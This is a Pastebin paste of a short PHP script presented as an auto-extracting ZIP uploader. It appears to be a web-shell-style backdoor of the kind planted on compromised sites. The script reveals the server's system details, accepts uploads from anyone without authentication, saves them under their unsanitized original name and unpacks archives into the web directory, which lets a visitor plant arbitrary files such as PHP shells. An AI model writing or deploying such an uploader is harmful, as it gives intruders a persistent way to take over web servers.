ToKeiChun

Auto Extract File Zip V.2 [Upload ZIP > Auto Extract]

Mar 13th, 2019
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. <?php
  2. echo '<center><b>Upload .zip File Auto Extract<br>System : '.php_uname().'<br></center><br> Upload your .zip File.</b> ';
  3. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  4. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  5. if( $_POST['_upl'] == "Upload" ) {
  6. $file = $_FILES['file']['name'];
  7. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  8. $zip = new ZipArchive;
  9. if ($zip->open($file) === TRUE) {
  10. $zip->extractTo('./');
  11. $zip->close();
  12. echo 'Your .zip file was uploaded and unpacked.';
  13. } else {
  14. echo 'Uploaded but Not Extracted!';
  15. }
  16. }else{
  17. echo '<b>Failed!</b><br><br>';
  18. }
  19. }
  20. ?>
Add Comment
Please, Sign In to add comment